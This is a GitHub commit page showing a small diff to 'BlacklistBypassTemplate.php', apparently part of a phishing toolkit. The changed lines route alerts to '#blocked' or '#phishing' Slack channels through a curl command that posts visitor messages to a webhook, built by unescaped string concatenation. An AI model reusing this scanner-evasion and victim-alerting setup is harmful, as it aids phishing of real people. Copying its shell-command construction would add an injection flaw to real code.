Skip to content

Commit

Permalink
Update BlacklistBypassTemplate.php
Browse files Browse the repository at this point in the history
  • Loading branch information
curtbraz authored Apr 12, 2024
1 parent b262da9 commit 4385862
Showing 1 changed file with 5 additions and 1 deletion.
6 changes: 5 additions & 1 deletion html/BlacklistBypassTemplate.php
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@
if($ip != $myip){

// Use a Slack webhook for a #blocked channel you can mute (first) and a #phishing one (second)
if($jedi == 1){$webhookurl = "https://hooks.slack.com/services/UPDATE_WEBHOOK_FOR_BLOCKED_CHANNEL_BOT"; $icon = ":no_entry:";}else{$webhookurl = "https://hooks.slack.com/services/UPDATE_WEBHOOK_FOR_PHISHING_CHANNEL_BOT"; $icon = ":fishing_pole_and_fish:";}
if($jedi == 1){$webhookurl = "https://hooks.slack.com/services/REPLACE_WITH_WEBHOOK_1"; $icon = ":no_entry:"; $channel = "#blocked";}else{$webhookurl = "https://hooks.slack.com/services/REPLACE_WITH_WEBHOOK_2"; $icon = ":fishing_pole_and_fish:"; $channel = "#phishing";}

// Set Slack Information Here ************** MAKE SURE YOU SET THIS ****************
$cmd = 'curl -s -X POST --data-urlencode \'payload={"channel": "'.$channel.'", "username": "PhishBot", "text": "'.$message.'", "icon_emoji": "'.$icon.'"}\' '.$webhookurl;
Expand Down Expand Up @@ -116,3 +116,7 @@







0 comments on commit 4385862

Please sign in to comment.